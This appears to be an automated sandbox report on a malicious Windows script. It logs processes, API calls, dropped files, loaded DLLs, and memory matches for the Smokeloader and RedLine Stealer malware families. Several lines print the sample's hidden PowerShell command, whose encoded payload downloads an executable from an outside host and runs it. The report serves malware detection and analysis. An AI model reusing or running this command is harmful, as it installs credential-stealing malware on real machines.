Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_00401529 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	12_2_00401529
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_00402FFA RtlCreateUserThread,NtTerminateProcess,	12_2_00402FFA
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_00401541 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	12_2_00401541
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_00401545 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	12_2_00401545
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_00401553 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	12_2_00401553
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_00402379 NtQuerySystemInformation,	12_2_00402379
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_0040237B NtQuerySystemInformation,	12_2_0040237B
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_00401534 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	12_2_00401534
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_004014DB NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	12_2_004014DB
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_004020EA NtQuerySystemInformation,	12_2_004020EA
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_00402387 NtQuerySystemInformation,	12_2_00402387
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_00402397 NtQuerySystemInformation,	12_2_00402397
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_0040239B NtQuerySystemInformation,	12_2_0040239B
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_0040239E NtQuerySystemInformation,	12_2_0040239E
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_00401529 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	15_2_00401529
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_00402FFA RtlCreateUserThread,NtTerminateProcess,	15_2_00402FFA
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_00401541 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	15_2_00401541
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_00401545 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	15_2_00401545
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_00401553 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	15_2_00401553
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_00402379 NtQuerySystemInformation,	15_2_00402379
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_0040237B NtQuerySystemInformation,	15_2_0040237B
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_0040332A NtMapViewOfSection,NtDuplicateObject,NtQuerySystemInformation,NtOpenKey,NtQueryKey,NtEnumerateKey,RtlCreateUserThread,strstr,tolower,towlower,	15_2_0040332A
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_00401534 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	15_2_00401534
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_004014DB NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	15_2_004014DB
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_004020EA NtQuerySystemInformation,	15_2_004020EA
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_00402387 NtQuerySystemInformation,	15_2_00402387
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_00402397 NtQuerySystemInformation,	15_2_00402397
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_0040239B NtQuerySystemInformation,	15_2_0040239B
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_0040239E NtQuerySystemInformation,	15_2_0040239E

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_00418A70	12_2_00418A70
Source: C:\Windows\explorer.exe	Code function: 14_2_083828D0	14_2_083828D0
Source: C:\Windows\explorer.exe	Code function: 14_2_0AC428D0	14_2_0AC428D0
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_00418A70	15_2_00418A70

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\oBuf.exe F488B4EB65D5F5339401FC0869E614433719E64A5156945B530F98C7D39452E1
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\tesubba F488B4EB65D5F5339401FC0869E614433719E64A5156945B530F98C7D39452E1

Source: w4DO1Z18yg.wsf

Initial sample: Strings found which are bigger than 50

Source: 0000000F.00000002.1688228770.0000000002060000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000F.00000002.1688128712.00000000005CD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000E.00000002.2505713156.000000000AC41000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000C.00000002.1426355284.00000000007E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000C.00000002.1426518576.00000000008DE000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000C.00000002.1426166777.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000F.00000002.1688048281.00000000005A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000F.00000002.1688289070.00000000020A1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000E.00000002.2501060273.0000000008381000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000C.00000002.1426113071.00000000006A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: oBuf.exe.4.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: tesubba.14.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.expl.evad.winWSF@9/5@3/2

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe

Code function: 12_2_008E14FF CreateToolhelp32Snapshot,Module32First,

12_2_008E14FF

Source: C:\Windows\explorer.exe

Code function: 14_2_08383678 CoCreateInstance,

14_2_08383678

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\tesubba

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1340:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qcaxh05i.peg.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: w4DO1Z18yg.wsf

ReversingLabs: Detection: 26%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\w4DO1Z18yg.wsf"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\oBuf.exe "C:\Users\user~1\AppData\Local\Temp\oBuf.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\tesubba C:\Users\user\AppData\Roaming\tesubba
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\oBuf.exe "C:\Users\user~1\AppData\Local\Temp\oBuf.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tesubba	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tesubba	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tesubba	Section loaded: msvcr100.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

